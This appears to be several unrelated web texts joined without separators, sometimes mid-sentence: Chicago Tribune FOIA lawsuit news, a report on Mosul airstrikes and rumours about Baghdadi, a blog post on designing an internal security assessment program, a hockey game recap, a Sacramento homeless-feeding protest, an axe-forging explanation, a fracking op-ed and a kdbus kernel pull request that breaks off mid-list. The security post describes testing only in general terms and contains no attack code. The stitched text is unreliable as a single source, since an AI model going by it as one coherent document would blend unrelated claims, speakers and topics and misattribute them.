Two other Tribune lawsuits against the city were resolved in the news organization's favor in 2016. One involved emails sent or received by former Chicago police Superintendent Garry McCarthy, and the city paid $46,000 in attorneys fees and costs. The other sought city communications related to SUPES Academy and its insider deal that led to former Chicago Public Schools chief Barbara Byrd-Bennett's wire fraud conviction. The city paid the Tribune $95,000 in that records case.
The Tribune sued the Chicago Police Department twice in December, alleging the city failed to provide records as required under FOIA.
"We are disappointed that we continually need to resort to litigation to get access to documents the law requires be made public as a matter of course," Karen Flax, the Tribune's vice president for legal, said in a statement. "The uptick in lawsuits reflects the city's disregard for the importance of the open records law and the fact that the city is understaffed in this area. It is pay now or pay later: If the city would produce the records to which the public is entitled in the first place, we would not need to file lawsuits and incur legal fees which the city then needs to cover."
This summer, a Cook County judge ordered the city to pay $77,697 to the Animal Legal Defense Fund after the organization sued for records related to animal treatment by Animal Care and Control. That lawsuit stretched on for more than two years.
Anthony Eliseuson, an attorney with Dentons, a downtown law firm that also represents the Tribune, said the animal defense fund did not want to sue but couldn't work the dispute out with agency leaders.
"We felt this should've been resolved without a lawsuit," Eliseuson said. "That's ultimately why we sought fees."
Other FOIA lawsuits in which the city paid plaintiffs involved issues such as automatic license plate readers, missed court dates by police officers and the case of Dante Servin, the Chicago police officer who fatally shot Rekia Boyd in 2012 but was acquitted by a Cook County judge who said prosecutors brought the wrong charge.An airstrike in the ISIS stronghold of Mosul killed at least two members of the group, including an aide to ISIS leader Abu Bakr Al-Baghdadi, according to the Iraqi Defense Ministry.
Reports that Baghdadi himself had been killed by a U.S. airstrike circulated in Turkish and Kurdish media Wednesday and were repeated to The Daily Beast by multiple Iraqi sources. But a Pentagon official denied that the ISIS leader was dead. "There is no validity to the rumor that we've killed Baghdadi," a senior defense official told The Daily Beast.
The Iraqi Defense Ministry announcement, first reported by al Arabayia, did not specify whether the airstrike was carried out by American or Iraqi forces, but NBC News reports that a senior security official confirmed it was a U.S. airstrike. The article does not clarify whether the security official is American or Iraqi but quotes them as saying that three ISIS leaders were killed, including Baghdadi’s aide Abu Hajar Al-Sufi, an explosives specialist and commander in the town of Tal Afar.
There have been no public statements yet from U.S. officials on the reported airstrikes.
While the U.S. air war in Iraq has been steadily expanding since it began in early August, Thursday’s reports provide the first public indication that ISIS’s senior leadership is being directly targeted.
The rumors of Baghdadi’s death that spread through northern Iraq yesterday may have been triggered by uncertainty over who died in the airstrikes that reportedly killed his aide. It’s also possible that claim’s of Baghdadi’s death could have come from ISIS itself as part of a deception campaign to cover the leader’s tracks and obscure his true status and whereabouts.
Multiple sources, including Kurdish intelligence officials and former Iraqi army officers, told The Daily Beast Wednesday that Baghdadi had died somewhere in Syria after being wounded in a recent airstrike and fleeing Iraq to seek medical treatment.
This was not the first time that rumors of Baghdadi’s death have surfaced. Without an independent press to verify new information, unverified claims can be spread quickly through Iraq as speculation outpacing facts and gets taken for the truth.
But the new reports that ISIS leaders were killed by airstrikes in Mosul, coming only a day after a flurry of claims about Baghdadi’s death in Syria, suggests the group’s leadership is increasingly vulnerable and that Baghdadi may be on the run and seeking sanctuary in Syria where President Obama has not yet authorized military intervention.
With additional reporting by Ford Sypher and Eli Lake.Introduction
Most organizations and are deploying new applications and technologies at a high rate and without a means to adequately assess them prior to implementation, it’s difficult to accurately gauge your organization’s risk. No matter what the size or industry, it’s imperative that an organization has a standardized and repeatable process for assessing the security of the IT solutions it implements. My goal with today’s post is to provide some recommendations on how an organization can design and implement such a program.
Although I’ve worked closely with consultants over the years, I’ve worked as an internal organizational security professional for my entire career so the content is primarily aimed at those responsible for implementing a security assessment program within their own organization. Internal organizational security staff often have unique requirements and perspectives (vs external consultants) such as understanding the roles of the various business units and developing processes to meet those specific needs as well as having a good understanding of the risk/threats specific to their organization or industry. They also have to consider how to incorporate security requirements into existing business processes, handle last-minute assessment requests to meet operational needs, and perform recurring reassessments of changing technologies within their environment. I’ll cover some of these in more detail throughout this post.
Why “Assessment”?
I purposely used the word “assessment” vs “audit” or “penetration test” because (right or wrong), these other terms often come with a predefined notion of what they entail. For example, the word audit brings to mind checklists and documentation review, with much emphasis on policy content and process-based controls. Important? Yes. The primary focus of a security assessment? No. While I certainly don’t ignore process-based controls, my security assessments are typically 80-85% technical/hands-on testing.
So why not call it a penetration test? Because often penetration tests have the implied (narrower) scope of testing a network/system/application with the sole purpose of finding that one way to compromise the target. Is that wrong? Not at all. Nearly every one of my security assessments involve a penetration test. But you can’t stop there. Just because you find a SQL injection vulnerability that ultimately leads to getting root on the server, doesn’t mean you should ignore the other problems with authentication, session management or access control. For me, an assessment must take a comprehensive look at all security controls -otherwise you might plug one hole but leave several others untouched.
I don’t want to give the impression that every audit or every penetration test is so narrowly scoped. I also know that the word “assessment” sometimes has its own pre-disposed connotations (i.e. “paperwork drill”, which I assure you is not at all what I’m going to talk about here). Frankly, you can call it anything you want – just be sure that you aren’t scoping too narrowly.
So what do I consider to be the scope of a security assessment? I define an assessment as a comprehensive analysis and testing of the technical, procedural, and physical security controls implemented or inherited by an application or system. It involves documentation review, interviews, and most importantly, hands-on testing of the controls to ensure they are implemented sufficiently.
Also, I frequently use the terms “application” and “IT solution” throughout this post but the true scope (devices, systems, etc) is really up to you. I test just about everything using this same approach – web applications, client software, mobile devices, and any other device that can be networked (from bar-code scanners to cash registers). The specific controls tested between IT solutions may vary, but the approach is very much the same.
In the sections that follow, I’ll outline some recommendations on how to develop an assessment program. Here’s some links for quick navigation:
Defining the need – the “Why”
It may sound pretty obvious but you should identify the reason(s) why you’re implementing an assessment program. What are you trying to accomplish and how will you measure those goals? Though I shudder to hear it, sometimes the driving factor is compliance with a regulatory requirement. While it’s dangerous to base your security solely on compliance policies, sometimes these requirements can serve as a good means to obtain the resources you need to implement a quality security assessment program.
Getting the right people – the “Who”
This is by far one of the most important steps. Skilled information security professionals are required for any successful security assessment program. As I’ll outline in the sections that follow, a quality security assessment program is largely hands-on, technical testing. If you’re only reviewing questionnaires, or performing documentation reviews, you’re missing the point.
You’re probably going to be faced with assessing a wide variety of technologies and will need people that understand web, mobile, Windows, Unix, databases, etc. You may discover highly experienced and skilled individuals that can apply their knowledge to testing just about anything or you may have to find people with specific skill sets.
Obviously budget can dictate the number of personnel you can hire but it can also dictate the quality (highly skilled, experienced security professionals don’t come cheap!). If you’re a skilled penetration tester then you have a good idea what it takes and will probably have no problem hiring others with similar skill sets. If you’re not, you may consider outsourcing the hiring process or putting together an internal team of technical resources to assist in finding the right people. I’m not saying everyone has to have 10+ years of experience but you might consider options like using a team approach on some assessments so that more experienced staff can guide and train others. Like any other job function, it’s important to have a training and development program to foster an environment of continuous learning and help ensure skill-sets remain current.
Defining the scope – the “What”
When you develop a security assessment program you need to determine the scope. What types of IT solutions are you going to assess and what security controls are you going to assess for each solution?
What solutions are you going to assess?
It’s important to define what types of IT solutions you’re going to be testing. Applications? Mobile devices? Medical devices? Industrial Control Systems? New deployments? Existing solutions? Internal or externally-facing applications? Depending on available resources you may decide to start by limiting your focus, with plans to expand over time. This portion of the scope is often dictated by available manpower and expertise. Do you have the necessary expertise in-house or will you have to outsource? If you have the expertise, how many assessments can you perform in a given week/month given the number of personnel?
Budget and lead time are also factors. Outsourcing an assessment can be expensive ($20,000 – $50,000+ per application), but so is hiring quality, full-time people. As I’ll cover later, thorough assessments take time and planning (to set up test accounts, provide the necessary access/connectivity, etc). Outsourcing may add to this lead time so if your assessments are largely last-minute, “fire-drills”, you may find outsourcing difficult. A good assessment program relies on standardized processes, planning, and scheduling.
Outside of available resources, another factor to consider when choosing which IT solutions to assess is the level of risk they introduce to your environment. If your resources are limited and you can only perform a certain number of assessments in a given period, it’s wise to focus on those that present the most risk. Externally facing systems might be a good start, though extremely critical internal systems may also require testing. Everything poses some level of risk, but being able to prioritize is important when your resources are limited. This requires a good understanding of your environment (i.e. an accurate system/application inventory).
What security controls are you going to assess for each solution?
Once you determine which types of solutions you plan to test, you need to determine the scope of each assessment. In other words, you’ve decided to test all newly deployed, public-facing web applications – but what does that mean? For me, it’s about taking a comprehensive look at the security controls implemented in any given system and determining their applicability. You may consider:
Authentication – management of user credentials, user login, password reset, etc
Session Management – transmission encryption, session tokens, session timeout, etc
Access Control – user account provisioning and termination processes, restricted user account access, resource access control
Auditing – log content, protection of logs, log review, etc
Injection – SQLi, code injection, etc
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Media and Data Protection – data at rest encryption, backup tape management, etc
Host System Security and Vulnerability Management – vulnerability scanning, patch management, etc
Incident Response, Continuity and Disaster Recovery
Physical Security – CCTV, badge access, visitor control, etc
For each broad category, you’re going to need to identify the specific controls you want to assess. Some of these controls have a procedural element, some have a technical element, and some have both. For example, when you’re considering access control, it’s incredibly important to test the technical controls used to restrict access between similar users (lateral) and user types (vertical). It’s also important to understand the processes surrounding user account are provisioning, management and termination. Are users sharing accounts? How do application administrators know when to terminate a user’s account and how soon is that accomplished? When you’re deploying a new application some of these process-based controls may not have an immediate impact on its security, but a year or two from now, when there are 100’s of terminated users with active accounts, you may have a problem! These are things that an internal security team need to consider.
So how do you determine which controls to include in your assessment scope? Like it or not, with most organizations there’s going to be a compliance element. Are you beholden or SOX, HIPAA, PCI, etc? If so, I suggest you understand these requirements and incorporate them into your assessment process. You may consider creating a matrix of regulatory requirements mapped to individual security controls so you can clearly see how the assessment program will help you demonstrate compliance. Industry standards bodies such as NIST can also be used as a resource. The NIST security control set is published under Special Publication 800-53 (with supplemental assessment procedures provided in SP 800-53A). You could use these documents when determining which controls you want to assess (both at an application as well as an enterprise level). You may also turn to resources such as OWASP or other publications such as The Web Application Hacker’s Handbook. Finally, personal experience/expertise may help you determine which security controls you want to assess. I’ve used all of these resources when developing my assessment programs.
Scope vs. Applicability
Just because you consider a set of security controls to be in scope, doesn’t mean they will always be applicable to every IT solution you assess. If it’s a simple web application hosting publicly-consumable data with no login functionality, then the authentication portion of your testing will be limited. However, it’s important to standardize the controls you want to consider for every solution and let the individual application determine their applicability.
Another driver of scope (or at least priority) is risk. You probably are not going to have the same assessment scope for an internal application that has no user authentication or account management, processes no sensitive data, and is not considered critical to business operations as you would an externally-facing, web application that processes sensitive employee HR data that requires 24/7 availability. Again, when you have limited resources, it’s important to prioritize your assessment efforts and risk can be a major factor.
Inheritance
While this post is focused on assessing the security of individual applications/systems, an important concept to understand when developing a security assessment program is security control inheritance. In a typical organization, you’re probably going to have several centralized IT/security solutions as well as one or more designated hosting/data centers. You’re going to want to assess these up-front and understand the security they afford to the individual applications or systems that rely on them. For example, let’s say in a given month your organization deploys six new client-server applications, with the clients being installed on a standard desktop image and the server portions installed in the designated data center. You’re certainly not going to review the GPOs implemented on the standard desktop image each time, nor are you going to conduct a physical penetration test on the data center each time – but you better know how these enterprise controls are implemented because each of those applications are inheriting security from them.
My suggestion is to take a look at your organization and determine which controls are implemented at an enterprise level. Technical solutions such as Active Directory, single sign-on, or multi-factor authentication that are going to be used by multiple applications need to be assessed, documented, and understood. Yes, you will still need to test each application’s authentication controls to ensure they are adequately implemented, but a vulnerability in an enterprise solution is inherited by each application that relies upon it.
Determining which controls should be assessed at an enterprise level can save you time and effort and addressing security vulnerabilities in these enterprise-level solutions can benefit all of the applications that rely on them.
Developing the assessment procedures – The “How”
Once you’ve determined the security control scope of your assessment, you need to determine how you’re going to assess each control. Some are going to be interview-based, some will require documentation review, and some will require hands-on testing. Let’s take another look at Access Control:
Part of controlling access to an application typically involves a process to provision/enable user accounts. To understand the account provisioning process, you’re probably going to have to talk with the application administrator to understand several things:
How are users granted access? Is there a request process initiated by the user? How does it work? Is there a review process before the account is activated? Are there different “levels” of users and if so, what are they, how do their roles/permissions and respective access to resources differ? What is the technical process for adding a user to the application? How is user access monitored? Are there regular reviews by a designated administrator? How is access revoked? Is it triggered as a result of a job role change? User termination?
You may also want to review any related procedural documentation (business processes, technical guides, etc). Once you have access to test the application, you’re going to want to test exactly how access control is technically enforced:
Modify a user id parameter to see if you can gain horizontal or vertical privilege escalation. Modify a resource access parameters (user or document ids) to see if the application is vulnerable to insecure direct object referencing. Determine if resource access control can be circumvented by path manipulation (i.e., directory traversal attacks). Etc.
For each control that you want to assess, you should have a list of items you want to test and corresponding test procedures. This ensures that you are implementing a standardized and repeatable process. Take for example, Access Control…
Access Control Account Provisioning and Management Process Test Procedure Type Result 1. Determine how users request application accounts how those accounts are managed and how/when access is revoked … etc… Interview/Doc Review Spoke with Application Administrator (John Smith) on 1/5/13. Users request accounts by… Resource Access Control Test Procedure Type Result 1. For any client-server request where the username or id is passed as a parameter attempt to change it to access resources for another user … etc… Technical Test By manipulating the user id in the following URL I was able to access the account of another user …
The level of detail for these test procedures is up to you. You can go to the nth degree and try to document every single step, injection string, etc but I personally find that to be a futile effort. Applications are like snowflakes – every one is different and security testing is as much of an art as it is a science. Most experienced testers won’t need a detailed script to follow for each assessment. Plus, this isn’t some checklist-based approach that you can hand to just anyone to execute. It takes skilled professionals and every assessment requires significant critical thinking. That said, having some level of standardized procedures helps in several ways:
It ensures your process is repeatable – you don’t want to re-invent the wheel each time you perform an assessment. You also want work products to hand to newly hired security professionals so they understand the scope approach of your test program. An up-front investment in developing this standardized process will save you time and effort in the long term.
– you don’t want to re-invent the wheel each time you perform an assessment. You also want work products to hand to newly hired security professionals so they understand the scope approach of your test program. An up-front investment in developing this standardized process will save you time and effort in the long term. It helps ensure consistent results – If everyone isn’t testing for the same vulnerabilities, assessments can vary wildly. Of course, discovered vulnerabilities will largely depend on the skill level of the tester which is why hiring good personnel and implementing training programs is a must.
– If everyone isn’t testing for the same vulnerabilities, assessments can vary wildly. Of course, discovered vulnerabilities will largely depend on the skill level of the tester which is why hiring good personnel and implementing training programs is a must. It helps ensure consistent customer experience – unfortunately, when you’re an internal security professional many “customers” of your required security assessment program don’t view them as a value-added step (it competes with deadlines, resources, etc), so you need to demonstrate why it’s necessary and valuable. Nothing can hurt your case more than an inconsistent process where a customer doesn’t know what to expect from assessment to assessment. A large part of this is developing standardized deliverables, which I’ll cover shortly.
Another component of the “How” is what tools to use. If you’re not providing your team access to the necessary tools, you’re limiting their capability and productivity. These might include large commercial code and vulnerability scanners, as well as low-cost or open source tools. Over the years I’ve found my favorites (nmap, Metasploit, Burp, dirb, IDA, Immunity, etc) and I’ve written and incorporated many custom scripts. Even if your budget is minimal, you can obtain the tools you need to have an effective assessment program. Of course, the users of these tools must have adequate experience and training. Again, it’s not as simple as handing someone a tool and a process guide and saying “Go”. You have to have quality people!
I could easily write a lengthy, technically-focused post on testing tools and methodologies but I’m keeping this process-focused so I’ll leave it at this for now.
Determining the timing and frequency – The “When”
Now that you know what you want to assess and how you want to assess it, you need to figure out when the assessments will be performed. For newly deployed applications, the first thing you want to do is figure out how early you need to be involved in the process before the application is ready for implementation. I highly recommend you get involved as early as possible.
For internally-developed applications, this could be as early as the requirements phase, to ensure your security requirements are represented in the subsequent design and coding phases. Assuming you have a hands-on testing phase in your assessment process (and you should!) you’ll also want to ensure adequate time has been allocated in the software development schedule (with additional time for mitigation and retesting). A couple of suggestions here – first you’ll want to codify your requirements at a high level in policy, but also in more detail in some sort of standard or secure development guide. Providing as much detail to the developers as early as possible can help ensure a securely designed product (vs the typical bolted-on security after the fact). Second, you may consider any tools that can empower your developers to test for security themselves. One example could be a code scanning solution.
For 3rd-party applications, while you may not be able to influence design and development, you still need to be involved as early as possible, preferably before any money exchanges hands (at which point you may lose any leverage you previously had). You’ll want to ensure that those responsible for procuring and managing the application are aware of your security requirements and that the vendor can confirm that their product will meet them. Again, having these requirements documented and readily available can go a long way. If possible (and I almost always insist) you’ll also want to allocate time in advance for hands-on testing of the application (more on that later).
Even if you’re confident that you’ve inserted yourself as early in the processes as possible, I still recommend implementing some additional “triggers” at various other points in the application deployment process. For example, if the application is to be deployed in a centrally-managed data center, ensure the respective server administrators are also aware of the security assessment requirement and have a means to verify it has been accomplished. The same could apply for firewall port requests and user account creation. For third-party applications, ensure those responsible for contract approvals and procurement are aware of the assessment requirement as well. The more triggers you have in place, the more likely you are to catch new applications that may have otherwise slipped through the cracks.
Security assessments are part of an application’s lifecycle, and unless the application is never updated, the environment in which it operates remains static, and the risk to the application or its data doesn’t change, you’ll probably want to implement a process to re-assess applications on a periodic basis. For this, the driving factor may be any significant change to the application or the data which it processes. This often requires software upgrades, changes to existing contracts, and/or additional funding so your existing process triggers may be sufficient.
If you have no shortage of resources you may also decide to assess existing legacy applications. If so, I recommend you apply some risk-based approach to prioritizing which applications are assessed first. Even if you don’t have the resources immediately, if possible, I recommend at least developing an internal vulnerability scanning program to assess your potential risks for all applications.
Assessment Deliverables
Every assessment should result in a deliverable, which is typically an assessment report. I usually construct my reports as follows:
Section I: Basic Info Overview Scope Methodology Assumptions
Section II: Summary of results Overall Risk Score Summary of Findings
Section III: Assessment / Finding Details Authentication Session Management Access Control, etc
Appendices
Let’s take a brief look at each.
Overview, Scope Methodology, Assumptions
This first section of the report provides a brief overview of the assessment – name of the application, names of the assessors, dates of the assessment, criticality of the application, sensitivity of the data it processes, and exposure (public vs. internal only). It also covers the extremely important assessment scope. I’ll cover this again in a bit, but I can’t emphasize enough how important it is to have all parties involved agree upon the assessment scope – what it does and does not cover, in terms of both application components as well as security controls assessed. This is very important for any hands-on testing that you will be performing, especially if it’s being performed against another organization’s infrastructure. In this section I also outline the methodology (approach and tools used) to provide the reader an understanding of how the assessment was performed. Lastly, I like to codify any assumptions or limitations. This includes the fact that this point-in-time assessment can in no way guarantee that all vulnerabilities were identified and any changes to application scope or design may require additional testing. I try to keep this first section limited to a page in length (no more than two).
Summary of Results
Section two of the report |
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• Lemieux scores by going high glove side, which we’re told is the scouting report on the Russian goalie. You know what other goalie that’s the scouting report on? All of them. Every single goalie, ever.
• We get lots of crowd shots of delirious Canadian fans. Um, was there some sort of organized effort to wear white for this game? Or was the entire country just going through an awkward “tight white sweater” phase? You know what, I don’t think I want to know the answer to that.
• Here’s the reply, and oh, look, there’s our pirouetting Russian friend. As it turns out, he has a pretty good reason for his little spin: Hawerchuk blatantly interferes with him. I mean, it’s not even subtle. He looks directly at him, then just pitchforks him right in the gut as he goes by. Nobody ever mentioned this again, by the way. I can’t wait until some Russian returns the favor on Crosby in the gold-medal game and the two countries have to go to war over it.
• For some reason, I always found it funny that they made Mario wear “M. Lemieux” on his jersey. Otherwise, I’m sure lots of people would have seen the 6-foot-4 guy wearing no. 66 and deking out an entire team and got him confused with Claude.
• The announcers mention the way that Soviet coach Viktor Tikhonov always berates his players. Yeah, when you’re one of two coaches in a series and Mike Keenan is considered the easygoing one, you may be wound a little tight.
• Nice job working in the flag in there, clapping hands ball cap guy.
• While we wait forever for the next faceoff, we get a helpful reminder of the score. It’s good to see that even the guy in charge of designing the little flags for the TV broadcast has no idea how to successfully draw a maple leaf.
• They finally drop the puck for the faceoff, and Canada immediately gets a two-on-one. Literally right off the faceoff. I wasn’t kidding about 1980s defense. There’s a reason that every player in the NHL was a 30-goal scorer back then.
• Glenn Anderson tries the Darryl Sittler move but fails, and the Soviets head back. Fun fact — this Canadian team featured three future Hall of Famers on defense: Murphy, Paul Coffey, and Ray Bourque. So naturally, the two defensemen out there with one minute left to protect this lead are Doug Crossman and Normand Rochefort. See, P.K. Subban? Maybe Canada has just always made weird decisions about its blue line.
• The Soviets press but never really come close. Notice how they’re down one in the last minute of regulation but don’t pull their goalie. This was a Soviet trademark that nobody else has really ever understood. They did the same thing in Game 8 in 1972 and during the Miracle on Ice in 1980.
• And that’s pretty much it. The rest of the clip is basically Canada celebrating. Just two more highlights from this clip: Ron Hextall’s way-too-personal extended hug on Lemieux at 7:25, and the excited guy running with the flag at 7:40 who isn’t watching where he’s going and sprints chest-first into the crossbar in front of 20,000 people.
Tragically we don’t get any footage of the postgame awards. Seriously, check out this footage from Game 2, in which they awkwardly give Vladimir Krutov a camera, followed by Gretzky receiving, and this is a direct quote, “a complete set of 10 1988 Winter Olympics Games coins, courtesy of Canadian Tire.” A career highlight, no doubt.========= Multi-Author AdSense ========= Skipped due to [standard ad slot 1] being empty for [user ID 8]. ========================================
Sacramento, Ca — Many cities have put ordinances in place to make it illegal to feed groups of people without a permit. Sacramento happens to be one of these cities and many people are upset by this. Why are people upset? Because these ordinances make it difficult and more costly for people to help out the homeless with a hot meal.
So a group of activist came together and put on a community dinner for the homeless, and no they didn’t have a permit. The event took place right in front of the Sacramento city hall and about 200 people came out to enjoy the event. The group is working to make this an ongoing event to continue helping out Sacramento’s homeless, they also do this to show people you don’t need a permit to help your fellow man, even if it means risking arrest.
There was one point during the event where the cops decided to make their presence known by disrupting the feeding, by moving the tables of food from city property to public property.
Here is the video of police disrupting the event–
No arrest were made at the community dinner however three where arrested afterwards at the city council meeting. This happened when Sacramento Mayor Kevin Johnson left the meeting right before public comments, where the activists intended to speak on Sacramento’s homeless problems. The three got charged with disturbing a public meeting.
Here is some video of the arrest’s–Julia Kalthoff said:
In case you wonder about how the gap occurs:
Wetterlings way to forge the eye is to punch it. When we forge, the steel is very hot so it easily stretches when we punch it. We first punch it with a very pointy shaped tool from botton and the from top, and then from botton and top again with a more oval tool that gives length to the eye. Then, further ahead in the process when the axe is almost done, we shape the inside and outside of the eye at the same time. This process is made with a special tool that is shaped like the top of the handle, so the inside of the eye gets the correct shape to fit the handle. The oval eye gets “pinched back” to perfect almond eye shape and this small nip occurs if the eye was slightly bigger than the eye is to be. This nip is not continuing forward in the steel at all, as you could have been worried about if the eye would have been wrapped. The nip can be longer underneath though because the steel stretches easier when one side already is punched.
If the nip is slanting, crooked or continuing towards the outer surface of the blade, we discard that axe here at the factory.
If it is a straight small nip, we leave it because it is only a beauty thing and not a quality issue. This is an unwanted beauty blemish though and we are working to get away from it. But it is not dangerous at all and completely safe to use.
Forging axes is very complex and very interesting. Now you all know the story of the small gap. I hope that you understand me correctly even though i try to explain this in another language then my mother tounge, Swedish. Please feel free to email us if you have more questions.
Glad to hear that you all like the Forester's Fine Axe so much!
All my best,
J
Click to expand...Over the past week, the government has finally made a decisive move to kickstart a fracking industry in Britain. Licences have been issued for shale gas exploration and the planning process streamlined so that in future, if local councils fail to make decisions within 16 weeks, the communities secretary will step in and adjudicate.
It’s excellent news that the years of prevarication over shale seem finally to have come to a close, and greatly to the credit of our Climate Change Secretary, Amber Rudd, and Communities Secretary, Greg Clark. But the dismally slow speed at which our much-vaunted ‘shale revolution’ has taken place will end up costing this country.
The coalition liked to talk up fracking, but the truth is that they failed to make the legislative changes which were necessary to allow it to happen. In one sense, the coalition actually made things worse: by abolishing the Infrastructure Planning Commission that Labour had set up to make decisions about projects of national importance.
The folly of failing to give fracking full-hearted support became clear last month when councillors in Lancashire rejected two planning applications for fracking sites, both on the parochial grounds that they would increase lorry traffic and lead to urbanisation of a rural or semi-rural area. The Lancashire decisions were cheered by residents, and anti-fracking groups proclaimed a ‘victory for localism’. So it was. It was also a perfect example of how the creed of localism can be deeply misguided. It’s all very well to allow residents a say on the design of new housing or the size of extensions, but there’s no sense in allowing them to veto matters of national importance. To make a responsible decision about whether to sink a fracking well means balancing the economic benefit with the disruption to the local environment.
Judged on a national scale, there is a very strong case for enabling fracking. If the industry here follows the lead given by the US, it will lead to sharply reduced energy bills for homes and businesses as well as a dramatic cut in carbon emissions as coal power is replaced by gas, which, kilowatt-hour for kilowatt-hour, emits half as much carbon. The potential damage done by fracking is, on the other hand, mostly minor: a rise in lorry traffic and the erection of unsightly drilling rigs. The hazards constantly invoked by the anti-fracking lobby — of earthquake and contaminated water — are extremely low risks.
Yet it is too much to expect residents facing the prospect of fracking in their neighbourhood to see things objectively. For them, the benefits will not necessarily outweigh the costs. Leaving local communities to rule on fracking therefore means a complete block on the industry, which nationally is in the interests of only a few.
It is to be hoped that with the Lib Dems gone, this decisive move on fracking will be followed by a more rational energy policy overall. As things stand, Britain remains committed to unilateral carbon reduction targets, which were arrived at without any thought for the cost to the economy. In the end, these cuts to carbon emissions achieve nothing but to shift emissions from British industries to ones based abroad. Faced with the prospect of losing much of our manufacturing industry to Asia, where energy taxes are lower, George Osborne has allowed some compensation to energy-intensive industry but the government has failed to tackle the underlying problem: the Climate Change Act.
If Amber Rudd is minded to address this issue, as well as the fracking problem, she should go on to become one of this government’s high-achievers. It is right that the government should have a clean energy policy. But it will ultimately achieve nothing if it isn’t also an affordable energy policy.The following changes since commit 9eccca0843205f87c00404b663188b88eb248051: Linux 4.0-rc3 (2015-03-08 16:09:09 -0700) are available in the git repository at: git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc.git/ tags/kdbus-4.1-rc1 for you to fetch changes up to 9fb9cd0f4434a23487b6ef3237e733afae90e336: kdbus: avoid the use of struct timespec (2015-04-10 14:34:53 +0200) ---------------------------------------------------------------- kdbus for 4.1-rc1 Here's the kdbus pull request for 4.1-rc1. It's been under development for many years now, and been in linux-next for many months, and has undergone loads of testing a review and even a few good arguments. It comes with full documentation and tests. There has been a few complaints about the code, notably from people who don't like the use of metadata in the bus messages. That is actually one of the main features here, as we can get this data in a secure and reliable way, and it's something that userspace requires today. So while it does look "odd" to people who are not familiar with dbus, this is something that finally fixes a number of almost unfixable races in the current dbus implementations. The rest of this pull request message comes from the kdbus patch posting messages as sent to lkml previously: Reasons kdbus should be in the kernel, instead of userspace as it is currently done today includes the following: * Performance: Fewer process context switches, fewer copies, fewer syscalls, larger memory chunks via memfd. This is really important for a whole class of userspace programs that are ported from other operating systems that are run on tiny ARM systems that rely on hundreds of thousands of messages passed at boot time, and at "critical" times in their user interaction loops. DBus is not used for performance sensitive applications because DBus is slow. We want to make it fast so we can finally use it for low-latency, high-throughput applications. A simple DBus method-call+reply takes 200us on an up-to-date test machine, with kdbus it takes 8us (with UDS about 2us). If the packet size is increased from 8k to 128k, kdbus even beats UDS due to single-copy transfers. * Security: The peers which communicate do not have to trust each other, as the only trustworthy component in the game is the kernel which adds metadata and ensures that all data passed as payload is either copied or sealed, so that the receiver can parse the data without having to protect against changing memory while parsing buffers. Also, all the data transfer is controlled by the kernel, so that LSMs can track and control what is going on, without involving userspace. Because of the LSM issue, security people are much happier with this model than the current scheme of having to hook into dbus to mediate things. * More types of metadata can be attached to messages than in userspace * Semantics for apps with heavy data payloads (media apps, for instance) with optinal priority message dequeuing, and global message ordering. Some "crazy" people are playing with using kdbus for audio data in the system. I'm not saying that this is the best model for this, but until now, there wasn't any other way to do this without having to create custom "buses", one for each application library. * Being in the kernel closes a lot of races which can't be fixed with the current userspace solutions. For example, with kdbus, there is a way a client can disconnect from a bus, but do so only if no further messages present in its queue, which is crucial for implementing race-free "exit-on-idle" services * Eavesdropping on the kernel level, so privileged users can hook into the message stream without hacking support for that into their userspace processes * A number of smaller benefits: for example kdbus learned a way to peek full messages without dequeing them, which is really useful for logging metadata when handling bus-activation requests. * dbus-daemon is not available during early-boot or shutdown. DBus marshaling is the de-facto standard in all major(!) Linux desktop systems. It is well established and accepted by many DEs. It also solves many other problems, including: policy, authentication / authorization, well-known name registry, efficient broadcasts / multicasts, peer discovery, bus discovery, metadata transmission, and more. It is a shame that we cannot use this well-established protocol for low-latency applications. We, effectively, have to duplicate all this code on custom UDS and other transports just because DBus is too slow. kdbus tries to unify those efforts, so that we don't need multiple policy implementations, name registries and peer discovery mechanisms. Furthermore, kdbus implements comprehensive, yet optional, metadata transmission that allows to identify and authenticate peers in a race-free manner (which is *not* possible with UDS). Also, kdbus provides a single transport bus with sequential message numbering. If you use multiple channels, you cannot give any ordering guarantees across peers (for instance, regarding parallel name-registry changes). Of course, some of the bits above could be implemented in userspace alone, for example with more sophisticated memory management APIs, but this is usually done by losing out on the other details. For example, for many of the memory management APIs, it's hard to not require the communicating peers to fully trust each other. And we _really_ don't want peers to have to trust each other. Another benefit of having this in the kernel, rather than as a userspace daemon, is that you can now easily use the bus from the initrd, or up to the very end when the system shuts down. On current userspace D-Bus, this is not really possible, as this requires passing the bus instance around between initrd and the "real" system. Such a transition of all fds also requires keeping full state of what has already been read from the connection fds. kdbus makes this much simpler, as we can change the ownership of the bus, just by passing one fd over from one part to the other. Given the theoretical advantages above, here are some real-world examples: * The Tizen developers have been complaining about the high latency of DBus for polkit'ish policy queries. That's why their authentication framework uses custom UDS sockets (called 'Cynara'). If a UI-interaction needs multiple authentication-queries, you don't want it to take multiple milliseconds, given that you usually want to render the result in the same frame. * PulseAudio doesn't use DBus for data transmission. They had to implement their own marshaling code, transport layer and so on, just because DBus1-latency is horrible. With kdbus, we can basically drop this code-duplication and unify the IPC layer. Same is true for Wayland, btw. * By moving broadcast-transmission into the kernel, we can use the time-slices of the sender to perform heavy operations. This is also true for policy decisions, etc. With a userspace daemon, we cannot perform operations in a time-slice of the caller. This makes DoS attacks much harder. * With priority-inheritance, we can do synchronous calls into trusted peers and let them optionally use our time-slice to perform the action. This allows syscall-like/binder-like method-calls into other processes. Without priority-inheritance, this is not possible in a secure manner (see 'priority-inheritance'). * Logging-daemons often want to attach metadata to log-messages so debugging/filtering gets easier. If short-lived programs send log-messages, the destination peer might not be able to read such metadata from /proc, as the process might no longer be available at that time. Same is true for policy-decisions like polkit does. You cannot send off method-calls and exit. You have to wait for a reply, even though you might not even care for it. If you don't wait, the other side might not be able to verify your identity and as such reject the request. * Even though the dbus traffic on idle-systems might be low, this doesn't mean it's not significant at boot-times or under high-load. If you run a dbus-monitor of your choice, you will see there is an significant number of messages exchanged during VT-switches, startup, shutdown, suspend, wakeup, hotplugging and similar situations where lots of control-messages are exchanged. We don't want to spend hundreds of ms just to transmit those messages. Signed-off-by: Greg Kroah-Hartman <gregkh@xxxxxxxxxxxxxxxxxxx> ---------------------------------------------------------------- Arnd Bergmann (1): kdbus: avoid the use of struct timespec Daniel Mack (18): kdbus: add documentation kdbus: add uapi header file kdbus: add driver skeleton, ioctl entry points and utility functions kdbus: add connection 